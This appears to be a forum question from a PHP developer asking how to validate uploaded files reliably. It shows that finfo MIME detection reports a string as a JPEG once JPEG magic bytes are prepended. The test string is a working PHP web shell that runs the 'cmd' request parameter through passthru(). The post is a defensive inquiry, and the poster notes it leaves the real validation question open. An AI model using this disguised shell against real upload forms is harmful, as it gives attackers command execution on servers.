I try to write a upload form and I want user to sent only image or pdf file. To detect mime type I use finfo but it's really easy to mess with him here an example
<?php
$cnt ='<form action="" method="get">\x0aCommand: <input type="text" name="cmd" /><input type="submit" value="Exec" />\x0a</form>\x0aOutput:<br />\x0a<pre><?php passthru($_REQUEST["cmd"], $result); ?></pre>\x0a';
echo $cnt."\n";
$finfo = new \finfo(FILEINFO_MIME);
echo $finfo->buffer($cnt) . "\n"; // text/plain; charset=us-ascii
$cnt ="\xff\xd8\xff\xe0\x0a".$cnt; // adding random utf8 char at the begining
echo $cnt."\n";
$finfo = new \finfo(FILEINFO_MIME);
echo $finfo->buffer($cnt) . "\n"; // image/jpeg; charset=iso-8859-1
Does any body know how to do it properly ?
Update:
Ok so let's reveal the magic trick : finfo like many or tool ( cmd file on unix for example) use a "magic table" to find out which kind of file is it. Look at those example
Short version finfo search for a series of specific bytes in the stream and if it found it, it return the mime type associated with those number.
To trick it, you just have to had those bytes in your file...
Which does not answer the question on how to find out properly...